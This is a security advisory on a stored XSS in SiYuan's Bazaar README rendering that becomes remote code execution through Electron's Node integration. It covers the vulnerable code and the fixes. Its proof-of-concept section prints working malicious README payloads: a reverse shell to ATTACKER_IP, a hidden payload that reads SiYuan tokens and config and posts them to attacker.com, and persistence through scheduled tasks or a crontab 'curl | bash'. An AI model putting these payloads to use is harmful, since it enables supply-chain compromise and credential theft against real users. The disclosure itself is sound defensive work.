GHSA-4663-4mpg-879v

# Stored XSS to RCE via Unsanitized Bazaar README Rendering ## Summary SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution. ## Affected Component - **README rendering (backend)**: `kernel/bazaar/package.go:635-645` (`renderREADME` function) - **README rendering (frontend)**: `app/src/config/bazaar.ts:607` (`innerHTML` assignment) - **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`) ## Affected Versions - SiYuan <= 3.5.9 - ## Severity **Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H) - CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click. ## Vulnerable Code ### Backend: `kernel/bazaar/package.go:635-645` ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED return } ``` Compare with SiYuan's own note renderer in `kernel/util/lute.go:81`, which **does** sanitize: ```go luteEngine.SetSanitize(true) // Notes ARE sanitized — but Bazaar README is NOT ``` This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content. ### Frontend: `app/src/config/bazaar.ts:607` ```typescript fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM }); ``` The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify). ### Electron: `app/electron/main.js:422-426` ```javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... } ``` Any JavaScript executing in the renderer has direct access to Node.js APIs. ## Proof of Concept ### Step 1: Create a malicious README Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML: ```markdown # Helpful Productivity Plugin This plugin helps you organize your notes with smart templates and AI-powered suggestions. ## Features - Smart template insertion - AI-powered note organization - Cross-platform sync <img src=x onerror="require('child_process').exec('calc.exe')"> ## Installation Install via the SiYuan Bazaar marketplace. ## License MIT ``` The raw `<img>` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`. ### Step 2: Submit to Bazaar Submit the repository to the SiYuan Bazaar via the standard community contribution process. ### Step 3: One-click RCE When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands. ### Escalation: Reverse shell ```markdown # Cool Theme for SiYuan Beautiful dark theme with custom fonts. <img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')"> ``` ### Escalation: Multi-stage payload via README A more sophisticated attack can hide the payload deeper in the README to avoid casual review: ```markdown # Professional Note Templates A comprehensive collection of note templates for professionals. ## Templates Included | Category | Count | Description | |----------|-------|-------------| | Business | 15 | Meeting notes, project plans | | Academic | 12 | Research notes, citations | | Personal | 8 | Journal, habit tracking | ## Screenshots <!-- Legitimate-looking image reference --> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png"> <source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png"> <img src="https://attacker.com/screenshot.png" alt="Template Preview" onload=" var c = require('child_process'); var o = require('os'); var f = require('fs'); var p = require('path'); // Exfiltrate sensitive data var home = o.homedir(); var configDir = p.join(home, '.config', 'siyuan'); var data = {}; try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {} try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {} try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {} // Send to attacker var https = require('https'); var payload = JSON.stringify(data); var req = https.request({ hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length } }); req.write(payload); req.end(); // Drop persistence if (o.platform() === 'win32') { c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f'); } else { c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -'); } "> </picture> ## Changelog - v1.0.0: Initial release ``` This payload: 1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server) 2. Exfiltrates SiYuan API token, config, hostname, username, and platform info 3. Installs cross-platform persistence (Windows scheduled task / Linux crontab) 4. Is buried inside a legitimate-looking `<picture>` element that blends with real README content ### Escalation: SVG-based payload (bypasses naive img filtering) ```markdown ## Architecture <svg onload="require('child_process').exec('id > /tmp/pwned')"> <rect width="100" height="100" fill="blue"/> </svg> ``` ### Escalation: Details/summary element (interactive trigger) ```markdown ## FAQ <details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open> <summary>How do I install this plugin?</summary> Use the SiYuan Bazaar to install. </details> ``` The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself. ## Attack Scenario 1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `<picture>` tag, `<details>` block, or `<svg>`). 3. Attacker submits the package to the SiYuan Bazaar via the community contribution process. 4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README. 5. The backend renders the README via `renderREADME()` without sanitization. 6. The frontend assigns the HTML to `innerHTML`. 7. The injected JavaScript executes with full Node.js access. 8. The attacker achieves RCE — reverse shell, data theft, persistence, etc. ## Impact - **Full remote code execution** on any SiYuan desktop user who views the malicious package README - **One-click** — triggered by viewing package details in the Bazaar - **Supply-chain attack** via the official SiYuan community marketplace - Payloads can be deeply hidden in legitimate-looking README content, making code review difficult - Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors across Windows, macOS, and Linux - Multiple HTML elements can carry payloads (`img`, `svg`, `details`, `picture`, `video`, `audio`, `iframe`, `object`, `embed`, `math`, etc.) - Affects all platforms: Windows, macOS, Linux ## Suggested Fix ### 1. Enable Lute sanitization for README rendering (`package.go`) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() luteEngine.SetSanitize(true) // ADD THIS — matches note renderer behavior luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) return } ``` ### 2. Add client-side sanitization as defense-in-depth (`bazaar.ts`) ```typescript import DOMPurify from 'dompurify'; fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = DOMPurify.sanitize(response.data.html); }); ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```